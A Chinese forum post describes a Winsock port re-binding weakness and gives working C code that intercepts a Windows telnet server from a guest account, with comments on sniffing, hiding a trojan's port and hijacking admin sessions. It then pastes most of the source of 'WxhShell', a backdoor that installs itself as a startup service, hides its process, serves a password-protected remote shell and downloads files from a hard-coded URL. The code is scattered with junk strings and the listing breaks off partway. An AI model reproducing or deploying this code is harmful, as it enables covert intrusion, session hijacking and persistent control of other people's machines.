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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0qL.Rnt  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zGa V^X  
EAoq2_(`a  
  saddr.sin_family = AF_INET;  NG?g(  
T>w;M?`9K  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8Yf=)  
cC9haxW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); EPU3Jban  
[0lO0ik>G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 XO}SPf-  
!UHX? <3r  
  这意味着什么?意味着可以进行如下的攻击: yeA]j[ #  
fa!8+kfi  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A}i>ys  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l_pf9 !z  
qfF2S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 lqvP Dz  
. dJBv  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4jC7>mE  
=z\/xzAwX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B^C 5?  
mt4X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5:%`&B\  
4c<\_\\ck  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )\ J~KB4  
T1;>qgp4b  
  #include NMESGNa)z  
  #include 9]:F!d/  
  #include eQ<G Nvm  
  #include    .M0pb^M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bSa]={}L(  
  int main() dw%g9DT  
  { @#yl_r%  
  WORD wVersionRequested; ;WG%)^e  
  DWORD ret; =b>e4I@  
  WSADATA wsaData; Fi# 9L  
  BOOL val; 7{38g  
  SOCKADDR_IN saddr; iyr<qtwK  
  SOCKADDR_IN scaddr; U "v=XK)!  
  int err; PNH>LT^  
  SOCKET s; M6y|;lh''c  
  SOCKET sc; #v*3-) 8  
  int caddsize; y w:=$e5  
  HANDLE mt; ON"p^o>/_?  
  DWORD tid;   fJ+4H4K  
  wVersionRequested = MAKEWORD( 2, 2 ); lXXWQ=  
  err = WSAStartup( wVersionRequested, &wsaData ); M,we,!B0  
  if ( err != 0 ) { !\\OMAf7  
  printf("error!WSAStartup failed!\n"); l=C|4@  
  return -1; zm#%]p80f  
  } j|@8VxZ  
  saddr.sin_family = AF_INET; 6O"y  
   : :928y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K4b2)8  
n<ecVFft  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kArF Gb2c  
  saddr.sin_port = htons(23); O;.DQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rdH^"(  
  { ?(M]'ia{  
  printf("error!socket failed!\n"); DPfN*a-P(  
  return -1; ,nJCqX~ /G  
  } $g\p)- aU  
  val = TRUE; .2y @@g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9H2mA$2jnE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E,QD6<?[  
  { AR c  
  printf("error!setsockopt failed!\n"); VUD9ZyPw  
  return -1; " s/ws  
  } 6t gq.XL^n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a!.Y@o5Ku  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k=X)ax t1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q[x|tO  
yF-`f _  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3dgPP@7d$  
  {  KON^  
  ret=GetLastError(); <3x:nH @  
  printf("error!bind failed!\n"); a..LbQQ  
  return -1; 9{%/I   
  } [-^xw1:  
  listen(s,2); =-avzuy#  
  while(1) O7p=|F"  
  { oo1h"[  
  caddsize = sizeof(scaddr); QN#tj$x  
  //接受连接请求 K14v6d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +9M";'\c  
  if(sc!=INVALID_SOCKET) %K0Wm#)  
  { jVna;o)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #-l+c u{  
  if(mt==NULL) =[0| qGzg  
  { #;h> x  
  printf("Thread Creat Failed!\n"); ]2_=(N\Kt  
  break; /xd|mo)D  
  } TXqtE("BDl  
  } !E^\)=E)P  
  CloseHandle(mt); XE#$|Z  
  } ycf)*0k  
  closesocket(s); )U{\c2b  
  WSACleanup(); hLT?aQLx  
  return 0; eL [.;_  
  }   $)6x3&]P  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7_J0[C!G  
  { L#fK ,r8  
  SOCKET ss = (SOCKET)lpParam; mNJCV8 <  
  SOCKET sc; 6UU<:KH  
  unsigned char buf[4096]; C%#u2C2  
  SOCKADDR_IN saddr; }4?z<.V  
  long num; j%gle%_  
  DWORD val; hb1eEn  
  DWORD ret; n^<J@uC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fM"&=X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :g{ybTSEe  
  saddr.sin_family = AF_INET; 6cOlY= bn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m14'u GC  
  saddr.sin_port = htons(23); <VhD>4f{]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BY@l:y4  
  { Yi <1z:\  
  printf("error!socket failed!\n"); (^58$IW71  
  return -1; zX6Q7Bc  
  } x#hSN|'"  
  val = 100; [J55%N;#1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TV/EC#48  
  { BC#O.93`  
  ret = GetLastError(); whFJ]  
  return -1; 4ZkaH(a1  
  } Xm<|m#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i"mQ  
  { sAnb   
  ret = GetLastError(); }(K1=cEaL  
  return -1; UYzNaw4/x  
  } w Ju9.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z}Um$'. =  
  { A.(e=;0bu  
  printf("error!socket connect failed!\n"); &g]s@S|%  
  closesocket(sc); HE0m#  
  closesocket(ss); I/u>Gt  
  return -1; 83VFBY2q  
  } R`,|08E  
  while(1) .etG>tH  
  { hfg ^z5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  u5Mg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uvi&! )x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g"\J iBb5  
  num = recv(ss,buf,4096,0); H(Y1%@  
  if(num>0) T=CJUla  
  send(sc,buf,num,0); -1w^z`;2h  
  else if(num==0) tjQ6[`  
  break; nd w&F'.r  
  num = recv(sc,buf,4096,0); >u]9(o7I  
  if(num>0) o ^ 08<  
  send(ss,buf,num,0); 2s}G6'xE]P  
  else if(num==0) MjbgAH-  
  break; h)s&Nqg1B  
  } M^G9t*I  
  closesocket(ss); 9U3.=J  
  closesocket(sc); x:c'ek  
  return 0 ; )5u#'5I>  
  } Iu^I?c[  
iu2O/l# r  
Z:diM$Z?7  
========================================================== d+"F(R9  
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下边附上一个代码,,WXhSHELL h-U]?De5\  
qKE+,g'  
========================================================== yh'*eli  
(px3o'lsh  
#include "stdafx.h" ^2i$AM1t  
7cO1(yE#vr  
#include <stdio.h> }|)T<|Y;  
#include <string.h> *\*]:BIe&v  
#include <windows.h> `/<f([w  
#include <winsock2.h> hsJGly5H  
#include <winsvc.h> PGuPw'2;[  
#include <urlmon.h> X_)x Fg'k  
>)k[085t  
#pragma comment (lib, "Ws2_32.lib") ""IPaNHQ  
#pragma comment (lib, "urlmon.lib") /?a9g>G%N  
aO 2zD<d  
#define MAX_USER   100 // 最大客户端连接数 )k]{FM  
#define BUF_SOCK   200 // sock buffer I1JL`\;4  
#define KEY_BUFF   255 // 输入 buffer =L`PP>"rW  
5UX-Qqr  
#define REBOOT     0   // 重启 M~)iiKw~MY  
#define SHUTDOWN   1   // 关机 W{1l?Wo  
7| `_5e  
#define DEF_PORT   5000 // 监听端口 -![{Zb@  
V0n8fez b  
#define REG_LEN     16   // 注册表键长度 $QwzL/a  
#define SVC_LEN     80   // NT服务名长度 yZb})4.  
r]Lj@0F>8  
// 从dll定义API t| B<F t^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "V5_B^Gzb]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m8INgzVTC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); - %?> 1n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w:](F^<s,  
v~0lZe  
// wxhshell配置信息 =w<iYO  
struct WSCFG { Q8_5g$X\  
  int ws_port;         // 监听端口 u++a0>N  
  char ws_passstr[REG_LEN]; // 口令 #A:^XAU1Z@  
  int ws_autoins;       // 安装标记, 1=yes 0=no F4:5 >*:  
  char ws_regname[REG_LEN]; // 注册表键名 *2/6fhI[p  
  char ws_svcname[REG_LEN]; // 服务名 =FM rVE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z7 ++c<|p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b,47 EJ}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h7S; 4]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6U,:J'5gP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q+'fTmT[,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !/1 ~  
O#<S\66  
}; y^D3}ds  
u,~+ho@  
// default Wxhshell configuration ^ '_Fd  
struct WSCFG wscfg={DEF_PORT, a(uQGyr[k1  
    "xuhuanlingzhe", !e~d,NIy  
    1, aHPx'R  
    "Wxhshell", ob/HO (h3  
    "Wxhshell", oWggh3eXk  
            "WxhShell Service", dvglh?7d  
    "Wrsky Windows CmdShell Service", ~/Y8wxg  
    "Please Input Your Password: ", '1zC|:,  
  1, ~`5[Li:eP  
  "http://www.wrsky.com/wxhshell.exe", SN`L@/I  
  "Wxhshell.exe" nO;ox*Bk+8  
    }; }S%}%1pG7  
ES#q/yab5  
// 消息定义模块 Mb97S]878I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ifq|MZ\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;a[3RqmKW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1y eD-M"w  
char *msg_ws_ext="\n\rExit."; Djf~8q V!  
char *msg_ws_end="\n\rQuit."; Z*(OcQ-  
char *msg_ws_boot="\n\rReboot..."; bNoZ{ 7  
char *msg_ws_poff="\n\rShutdown..."; w)h"?'m~  
char *msg_ws_down="\n\rSave to "; QwuSo{G  
#nKGU"$+  
char *msg_ws_err="\n\rErr!"; 5U*${  
char *msg_ws_ok="\n\rOK!"; GT3}'`f B  
$H6ngL  
char ExeFile[MAX_PATH]; ^plP1c:  
int nUser = 0; $GVf;M2*  
HANDLE handles[MAX_USER]; @;[.#hK  
int OsIsNt; Ey_mK\'  
WK.,q>#  
SERVICE_STATUS       serviceStatus; nVGOhYn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !H @nAz  
UaHN*@  
// 函数声明 fUJe{C<H  
int Install(void); Z#K0a'  
int Uninstall(void); Mi`t$hmP  
int DownloadFile(char *sURL, SOCKET wsh); E.yc"|n7l2  
int Boot(int flag); Ae<;b Of  
void HideProc(void); g}vU*g ;  
int GetOsVer(void); {s?hXB  
int Wxhshell(SOCKET wsl); avqJ[R  
void TalkWithClient(void *cs); Xg}~\|n  
int CmdShell(SOCKET sock); s3~6[T?8  
int StartFromService(void); V_9\Ax'X  
int StartWxhshell(LPSTR lpCmdLine); @VsK7Eo  
RC!T1o~L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6X$\:>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?MiMwVR  
u7-0?  
// 数据结构和表定义 5jTA6s9zA  
SERVICE_TABLE_ENTRY DispatchTable[] = 3>z+3!I z  
{ uW,rmd  
{wscfg.ws_svcname, NTServiceMain}, @!(V0-  
{NULL, NULL} J^Wqa$<;"  
}; OW8TiM mK  
; d}  
// 自我安装 ;bq EfV0`2  
int Install(void) hiaTJE|J?  
{ |G)bnmi7  
  char svExeFile[MAX_PATH]; ;=8@@9  
  HKEY key; &<C&(g{Z  
  strcpy(svExeFile,ExeFile); =gSACDTc  
<"S/M]9  
// 如果是win9x系统,修改注册表设为自启动 JZ-M<rcC  
if(!OsIsNt) { > 'JWW*Y!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k59.O~0V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >k u7{1)  
  RegCloseKey(key); IZ]L.0,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $U%N$_k?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .r@'9W^8  
  RegCloseKey(key); tNW0 C]  
  return 0; 3N{ ZX{}  
    } ;giT[KK  
  } K]i2$M  
} td2bL4  
else { q -^Z=,<  
}5"19 Go?  
// 如果是NT以上系统,安装为系统服务 T9gQq 7(l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iLFhm4.PO  
if (schSCManager!=0) xCm`g {  
{ AdRt\H<  
  SC_HANDLE schService = CreateService 4$v08z Z  
  ( `Y7&}/OM  
  schSCManager, 55`cNZ  
  wscfg.ws_svcname, }@g#S@o  
  wscfg.ws_svcdisp, .PJ_1  
  SERVICE_ALL_ACCESS, ;[-y>qU0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N,`<:'  
  SERVICE_AUTO_START, , p r ",=  
  SERVICE_ERROR_NORMAL, k12mxR/  
  svExeFile, $h'>Zvf  
  NULL, 65pC#$F<x  
  NULL, uvGFo)9q3  
  NULL, 4buzx&  
  NULL, QBT_H"[  
  NULL ,An*w_  
  ); v>mr  
  if (schService!=0) |Oe$)(`|h  
  { 9{{CNy p  
  CloseServiceHandle(schService); o=do L{ #  
  CloseServiceHandle(schSCManager); &v_b7h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xdc>Z\0V  
  strcat(svExeFile,wscfg.ws_svcname); <' b%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HoKN<w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +JL"Z4b@R}  
  RegCloseKey(key); FYeUz$/  
  return 0; `)eqTeW  
    } aAkO>X%[  
  } 1He'\/#  
  CloseServiceHandle(schSCManager); RIxGwMi%  
} *AN2&>Y  
} jo=,j/,l  
KRP)y{~o  
return 1; G(y@Tor+  
} `=~d^wKYJ3  
dD"o~iEC  
// 自我卸载 U}<;4Px]7v  
int Uninstall(void) $`/J V?Z  
{ :ug j+  
  HKEY key; >=Un=Q%  
g\ p;  
if(!OsIsNt) { eVbaxL!Q^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X2p9KC  
  RegDeleteValue(key,wscfg.ws_regname); tr\}lfK%  
  RegCloseKey(key); l=< :  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { > 9wEx[  
  RegDeleteValue(key,wscfg.ws_regname); KcX] g*wy  
  RegCloseKey(key); @~<M_63  
  return 0; cLe659&  
  } vZpt}u  
} W%RjjL J@  
} {sL(PS.z  
else { slMWk;fmD}  
`ynD-_fTN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?I.<mdhN#t  
if (schSCManager!=0) ,~- dZs  
{ skP2IMa75  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !B{N:?r  
  if (schService!=0) CEos`  
  { D +vHl}  
  if(DeleteService(schService)!=0) { E`SFr  
  CloseServiceHandle(schService); hUy\)GsT  
  CloseServiceHandle(schSCManager); G>0S( M)  
  return 0; u9"1%  
  } }x1*4+Y1  
  CloseServiceHandle(schService); rz%=qY  
  } ]`x\Oj &  
  CloseServiceHandle(schSCManager); 9 &~Rj 9  
} zy9# *gGq  
} G.a^nQ@e%  
L7tC?F]}SK  
return 1; 3M{/9rR[  
} } .cP  
v1Lu.JQC$  
// 从指定url下载文件 g^DPb pWxu  
int DownloadFile(char *sURL, SOCKET wsh) /a$RJ6t&3  
{ wg[D*a  
  HRESULT hr; |PED8K:rU  
char seps[]= "/"; Ue <Y ~A  
char *token; ~h{v^ }  
char *file; 3N,!y  
char myURL[MAX_PATH]; uiIY,FL$  
char myFILE[MAX_PATH]; N8| ;X  
V{[vIt*  
strcpy(myURL,sURL); 3g]Sp/  
  token=strtok(myURL,seps); fhAK^@h  
  while(token!=NULL) \{G1d"n  
  { rSVU|O3m;  
    file=token; 9+\3E4K  
  token=strtok(NULL,seps); gs_nUgcA  
  } }*4K]3et$  
tc@([XqH  
GetCurrentDirectory(MAX_PATH,myFILE); ?B2 T'}~  
strcat(myFILE, "\\"); ^\uj&K6l  
strcat(myFILE, file); <tbsQ3  
  send(wsh,myFILE,strlen(myFILE),0); *@r)3  
send(wsh,"...",3,0); 5h^U ]Y#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `\:9 2+  
  if(hr==S_OK) l1\/ `  
return 0; -$4#eG%3  
else PXk+Vi,%k  
return 1; "1H?1"w~  
}w&+ H28.#  
} t YmR<^  
?2;r#)  
// 系统电源模块 E,nC}f  
int Boot(int flag) i!30f^9D-S  
{ :*"0o{ ie  
  HANDLE hToken; 4#Fz!Km  
  TOKEN_PRIVILEGES tkp; nJ`JF5tI  
&z r..i4O  
  if(OsIsNt) { UNJ]$x0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x62 b=k}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V11Zl{uOl  
    tkp.PrivilegeCount = 1; Fa$ pr`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qsUlfv9L6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7  Znr2I  
if(flag==REBOOT) { \KmjA )(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eGS1% [  
  return 0; MH`H[2<\!,  
} 0SXWt? }  
else { hgCeU+H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0.-2FHc9L  
  return 0; (DCC4%w"  
} \ qc 8;"@  
  } e}?#vTRI}  
  else { 8]Xwj].^C  
if(flag==REBOOT) { G l=dL<F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `7P4O   
  return 0; -< jb>8  
} ~\c]!%)o  
else { qTnfiYG}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X 5LI  
  return 0; z./M^7v?  
} ;6I{7[  
} \Clz#k8l1  
0sq1SHI{  
return 1; `J^J_s  
} 9KVeFl  
=j 6amk-  
// win9x进程隐藏模块 AAkdwo  
void HideProc(void) 6|m1z  
{ x[3kCa|4A  
-Rhxib|<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >+=)Q,|R  
  if ( hKernel != NULL ) \eE0Rnaf-  
  { 2+Z2`k]AC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iKa}@U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tnz BNW8  
    FreeLibrary(hKernel); SeBbI&Ju  
  } :<w3.(Z  
<L@0w8i`  
return; v6 DN:!&  
} ` !HGM>  
LMWcF'l  
// 获取操作系统版本 9}Tf9>qP>M  
int GetOsVer(void) '2a}1?  
{ t$8f:*6(*  
  OSVERSIONINFO winfo; _cx}e!BK#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 12aAO|]/~  
  GetVersionEx(&winfo); >~I~!i3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |<\L B  
  return 1; KUVsCmiT  
  else gEtD qq~y@  
  return 0; "xlf6pm%  
} uAR!JJ  
FfN==2:b  
// 客户端句柄模块 HH3WZ^0>  
int Wxhshell(SOCKET wsl) ehI*cf({  
{ Qw.""MLmN8  
  SOCKET wsh; dRyK'Xr  
  struct sockaddr_in client; t<9oEjk["  
  DWORD myID; 0 ]U ;5  
&"fMiK3  
  while(nUser<MAX_USER) b#R3=TQS8  
{ WS@b3zzN  
  int nSize=sizeof(client); GwV2`2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l}%!&V0  
  if(wsh==INVALID_SOCKET) return 1; bp:WN  
j|9;") 1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "?V4Tl~uu  
if(handles[nUser]==0) Qv,|*bf  
  closesocket(wsh); D Y($  
else ,)XT;iGQe  
  nUser++; JQ'NFl9<  
  } dfGdY"&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZPn`.Qc  
]v@#3,BV  
  return 0; x&tad+T  
} ZrnZ7,!@  
v I@Wuu:  
// 关闭 socket R>Fie5?  
void CloseIt(SOCKET wsh) Q2PY( #  
{ 8HdmG{7.  
closesocket(wsh); Ooz+V;#Q  
nUser--; }8p;w T!  
ExitThread(0); BD[XP`[{  
} (1fE^KF@f  
G5E03xvL  
// 客户端请求句柄 (1%u`#5n-N  
void TalkWithClient(void *cs) /sH3Rk.>  
{ &@c=$+#C  
p-UACMN& c  
  SOCKET wsh=(SOCKET)cs; W+&ZYN 'E  
  char pwd[SVC_LEN]; Vp\BNq_!s  
  char cmd[KEY_BUFF]; =U!'v X d  
char chr[1]; CN\SxK`,  
int i,j; j/{F#auI  
{LbNKjn  
  while (nUser < MAX_USER) { fzRzkn:=  
tQbDP!,A*=  
if(wscfg.ws_passstr) { (tP>z+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .GM&]Hb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x:O?Fj  
  //ZeroMemory(pwd,KEY_BUFF); 97e fWYj  
      i=0; B%Dy;zdWd/  
  while(i<SVC_LEN) { tX cc#!'4C  
v&i M/pJU  
  // 设置超时 u}D.yI8  
  fd_set FdRead; bQow,vf  
  struct timeval TimeOut; ?3kfh R  
  FD_ZERO(&FdRead); K5z*DYT  
  FD_SET(wsh,&FdRead); y. @7aT5  
  TimeOut.tv_sec=8; (EIdw\  
  TimeOut.tv_usec=0; 9`i=kp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s<H0ka@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K& <|94_k  
]y@9 z b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L{ ?& .iA  
  pwd=chr[0]; kYl$V =  
  if(chr[0]==0xd || chr[0]==0xa) { mfQQ<Q@  
  pwd=0; 2I(0EBW  
  break; ,Ww)>O+  
  } -RVwPY  
  i++; "2}04b|"  
    } ;FQAL@"Yj  
*qj @y'1\  
  // 如果是非法用户,关闭 socket 4Z"D F)+}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !m^;Apuy  
} '0GCaL*Sd  
pvQw+jX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WmP"u7I4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G/J5aj[  
R+#|<e5@%o  
while(1) { 49^;T;'v  
#+|{l*>  
  ZeroMemory(cmd,KEY_BUFF); YTpSR~!Rj  
G$}\~dD  
      // 自动支持客户端 telnet标准   DGj:qd(  
  j=0; n'v[[bmu  
  while(j<KEY_BUFF) { [MdVgJ9'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HvN!_}[  
  cmd[j]=chr[0]; Y[i>  
  if(chr[0]==0xa || chr[0]==0xd) { di>"\On-  
  cmd[j]=0; 2B3H -`  
  break; ! pR&&uG  
  } J"yO\Y  
  j++; >B U 0B  
    } j1*'yvGM  
AcyiP   
  // 下载文件 6A;V[3  
  if(strstr(cmd,"http://")) { HsGXb\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #Z)e]4{!l  
  if(DownloadFile(cmd,wsh)) m{x[q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RZ:Yu  
  else Bab`wfUve  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mg W0 ).  
  } (BEGt '7  
  else { O&V}T#8n  
O;9u1,%w  
    switch(cmd[0]) { *?Nrx=O*  
  MzL^u8  
  // 帮助 |)* K#%j  
  case '?': { f)l:^/WP+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w&hgJ  
    break;  msM  
  } "6 |j 0?Q  
  // 安装 d }=fJ  
  case 'i': { *%7[{Loz  
    if(Install())  gPh;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); No>XRG+  
    else X xcY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !qS~YA  
    break; pYa8iQ`6U;  
    } [^ $nt  
  // 卸载 5,})x]'x  
  case 'r': { J:Ea|tXK^  
    if(Uninstall()) t>N~PXr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +w[vYKSZm  
    else 7"@^JxYN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E^rKS&P  
    break; d&4 ve Lu  
    } M(KsLu1   
  // 显示 wxhshell 所在路径 fz\C$[+u  
  case 'p': { =,$*-<p=3  
    char svExeFile[MAX_PATH]; R8I%Cyc  
    strcpy(svExeFile,"\n\r"); SE.r 'J0  
      strcat(svExeFile,ExeFile); KiAWr-~gJ  
        send(wsh,svExeFile,strlen(svExeFile),0); kfr' P u  
    break; E;/WP!/.  
    } f(:+JH<P~  
  // 重启 u,AP$+Qk  
  case 'b': { B(7oHj.i2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "XfCLc1 T  
    if(Boot(REBOOT)) y$|%K3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >lQ@" U  
    else { jj_z#6{  
    closesocket(wsh); 4l7TrCB  
    ExitThread(0); bc=,$  
    } g5M=$y/H  
    break; \@;$xdA$  
    } 45. -P  
  // 关机 v_mk{  
  case 'd': { rR]U Ff  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {L~j;p_G&  
    if(Boot(SHUTDOWN)) +wc8rE6+W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0gO_dyB  
    else { mivb}cKM  
